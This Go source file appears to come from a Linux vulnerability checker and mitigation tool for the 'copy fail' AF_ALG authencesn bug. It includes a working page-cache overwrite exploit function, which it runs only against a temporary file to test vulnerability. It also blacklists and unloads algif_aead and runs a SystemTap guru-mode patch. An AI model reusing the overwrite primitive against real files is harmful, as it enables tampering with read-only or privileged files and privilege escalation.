copyfail.go

package dirtypatch

import (
	"encoding/hex"
	"fmt"
	"io"
	"os"
	"os/exec"
	"strings"
	"syscall"
	"unsafe"

	"golang.org/x/sys/unix"
)

const (
	// Cryptographic API Socket Constants
	SOL_ALG               = 279
	ALG_SET_KEY           = 1
	ALG_SET_IV            = 2
	ALG_SET_OP            = 3
	ALG_SET_AEAD_ASSOCLEN = 4
	ALG_SET_AEAD_AUTHSIZE = 5
)

func packCmsg(level, typ int, data []byte) []byte {
	cmsgSpace := unix.CmsgSpace(len(data))
	b := make([]byte, cmsgSpace)
	h := (*unix.Cmsghdr)(unsafe.Pointer(&b[0]))
	h.Level = int32(level)
	h.Type = int32(typ)
	h.SetLen(unix.CmsgLen(len(data)))
	copy(b[unix.CmsgLen(0):], data)
	return b
}

// from https://github.com/badsectorlabs/copyfail-go/blob/main/main.go
func copyfailPatchChunk(f *os.File, t int, cData []byte) error {
	// 1. Create AF_ALG cryptographic socket
	fd, err := unix.Socket(unix.AF_ALG, unix.SOCK_SEQPACKET, 0)
	if err != nil {
		return fmt.Errorf("Socket creation failed: %v", err)
	}
	defer unix.Close(fd)

	// 2. Bind it to the vulnerable Authenticated Encryption wrapper
	sa := &unix.SockaddrALG{
		Type: "aead",
		Name: "authencesn(hmac(sha256),cbc(aes))",
	}
	if err := unix.Bind(fd, sa); err != nil {
		return fmt.Errorf("Socket Bind failed: %v", err)
	}

	// 3. Setup dummy key and auth sizes
	keyHex := "0800010000000010" + strings.Repeat("0", 64)
	keyBytes, _ := hex.DecodeString(keyHex)

	if err := unix.SetsockoptString(fd, SOL_ALG, ALG_SET_KEY, string(keyBytes)); err != nil {
		return fmt.Errorf("Setsockopt(key) failed: %v", err)
	}
	if err := unix.SetsockoptInt(fd, SOL_ALG, ALG_SET_AEAD_AUTHSIZE, 4); err != nil {
		return fmt.Errorf("Setsockopt(authsize) failed: %v", err)
	}

	// 4. Accept a new operational socket connection.
	// AF_ALG requires accept(2) with NULL addr/addrlen; unix.Accept passes
	// non-NULL pointers and the kernel returns ECONNABORTED. See SockaddrALG
	// docs in golang.org/x/sys/unix.
	uFdRaw, _, errno := unix.Syscall6(unix.SYS_ACCEPT4, uintptr(fd), 0, 0, 0, 0, 0)
	if errno != 0 {
		return fmt.Errorf("Accept failed: %v", errno)
	}
	uFd := int(uFdRaw)
	defer unix.Close(uFd)

	// 5. Build Control Messages (CMSG)
	var oob []byte
	oob = append(oob, packCmsg(SOL_ALG, ALG_SET_OP, []byte{0, 0, 0, 0})...)                        // ALG_SET_OP (Decrypt)
	oob = append(oob, packCmsg(SOL_ALG, ALG_SET_IV, append([]byte{0x10}, make([]byte, 19)...))...) // ALG_SET_IV (20 bytes)
	oob = append(oob, packCmsg(SOL_ALG, ALG_SET_AEAD_ASSOCLEN, []byte{8, 0, 0, 0})...)             // ALG_SET_AEAD_ASSOCLEN

	// 6. Send payload payload out-of-band configuring encryption state
	msgData := append([]byte("AAAA"), cData...)
	err = unix.Sendmsg(uFd, msgData, oob, nil, unix.MSG_MORE)
	if err != nil {
		return fmt.Errorf("Sendmsg failed: %v", err)
	}

	// 7. Setup standard pipes for the splice
	var p [2]int
	if err := unix.Pipe(p[:]); err != nil {
		return fmt.Errorf("Pipe creation failed: %v", err)
	}
	defer unix.Close(p[0])
	defer unix.Close(p[1])

	// 8. Splice magic (Moves read-only page cache refs into the pipe -> then to the crypto socket)
	o := t + 4
	offset := int64(0)

	// Splice from the target file into the pipe
	_, err = unix.Splice(int(f.Fd()), &offset, p[1], nil, o, 0)
	if err != nil {
		return fmt.Errorf("Splice (File->Pipe) failed: %v", err)
	}

	// Splice from the pipe into the active crypto socket
	_, err = unix.Splice(p[0], nil, uFd, nil, o, 0)
	if err != nil {
		return fmt.Errorf("Splice (Pipe->Socket) failed: %v", err)
	}

	// 9. Consume response, triggering the memory-overwrite condition
	buf := make([]byte, 8+t)
	unix.Read(uFd, buf)
	return nil
}

func copyfailVulnerable() VulnerableResult {
	// create test file
	tmpFile, err := os.CreateTemp("", "dirtypatch-")
	if err != nil {
		return VulnerableResultUnknown
	}
	tempFileName := tmpFile.Name()
	defer os.Remove(tempFileName)
	_, err = tmpFile.Write([]byte("good"))
	if err != nil {
		tmpFile.Close()
		return VulnerableResultUnknown
	}

	copyfailPatchChunk(tmpFile, 1, []byte("fuck"))

	tmpFile.Close()

	tmpFile, err = os.Open(tempFileName)
	if err != nil {
		return VulnerableResultUnknown
	}
	content, err := io.ReadAll(tmpFile)
	if err != nil {
		return VulnerableResultUnknown
	}
	tmpFile.Close()

	if string(content) != "good" {
		return VulnerableResultVulnerable
	}
	return VulnerableResultNotVulnerable
}

func copyfailMitigationLKM() {
	// add blacklist
	err := os.WriteFile(
		"/etc/modprobe.d/dirtypatch-copyfail.conf",
		[]byte(`# mitigation for CVE-2026-31431 "copy fail"
blacklist algif_aead
install algif_aead /bin/false
`),
		0644,
	)
	if err != nil {
		fmt.Fprintf(os.Stderr, "failed to set module disable: %v\n", err)
	} else {
		fmt.Println("disabled module algif_aead")
	}

	// uninstall module
	moduleName := "algif_aead"
	namePtr, _ := syscall.BytePtrFromString(moduleName)
	_, _, errno := syscall.Syscall(unix.SYS_DELETE_MODULE, uintptr(unsafe.Pointer(namePtr)), 0, 0)
	if errno != 0 {
		fmt.Fprintf(os.Stderr, "failed to remove module: %v\n", err)
	} else {
		fmt.Println("removed module algif_aead")
	}

	// clear page cache
	err = os.WriteFile("/proc/sys/vm/drop_caches", []byte("1"), 0644)
	if err != nil {
		fmt.Fprintf(os.Stderr, "failed to drope page cache: %v\n", err)
	} else {
		fmt.Println("page cache dropped")
	}
}

func copyfailMitigationBuiltin() {
	// try use systemtap

	// generate stap file
	tmpFile, err := os.CreateTemp("", "dirtypatch-")
	if err != nil {
		fmt.Fprintf(os.Stderr, "failed to create systemtap file\n")
		return
	}
	defer tmpFile.Close()
	_, err = tmpFile.Write([]byte(`
%{
#include <crypto/if_alg.h>
extern int af_alg_unregister_type(const struct af_alg_type *type);
%}

function trigger_unregister:long () %{
	struct af_alg_type fake_aead;
	fake_aead.name[0] = 'a';
	fake_aead.name[1] = 'e';
	fake_aead.name[2] = 'a';
	fake_aead.name[3] = 'd';
	fake_aead.name[4] = 0;

    int ret = af_alg_unregister_type(&fake_aead); 
	STAP_RETVALUE = (long)ret;
%}

probe begin {
    printf("Starting af_alg_unregister_type\n")
    res = trigger_unregister()
	printf("result: %d\n", res)
    exit()
}
`))
	if err != nil {
		fmt.Fprintf(os.Stderr, "failed to write systemtap file\n")
		return
	}
	tmpFile.Close()

	// do stap
	proc := exec.Command("stap", "-g", tmpFile.Name())
	proc.Stdin = os.Stdin
	proc.Stdout = os.Stdout
	proc.Stderr = os.Stderr

	err = proc.Run()
	if err != nil {
		fmt.Fprintf(os.Stderr, "failed to patch with systemtap, try to install systemtap first\n")
	}

	// clear page cache
	err = os.WriteFile("/proc/sys/vm/drop_caches", []byte("1"), 0644)
	if err != nil {
		fmt.Fprintf(os.Stderr, "failed to drope page cache: %v\n", err)
	}
	fmt.Println("page cache dropped")
}

func copyfailMitigation() {
	// since we always try to exploit, the LKM is always loaded at this time
	// so check modules now
	modules, err := os.ReadFile("/proc/modules")
	if err != nil {
		fmt.Fprintf(os.Stderr, "Read /proc/modules failed: %v\n", err)
		return
	}
	if strings.Contains(string(modules), "algif_aead") {
		copyfailMitigationLKM()
	} else {
		copyfailMitigationBuiltin()
	}
}

func init() {
	Exploits = append(Exploits, Exploit{
		Name:       "Copyfail",
		Vulnerable: copyfailVulnerable,
		Mitigation: copyfailMitigation,
	})
}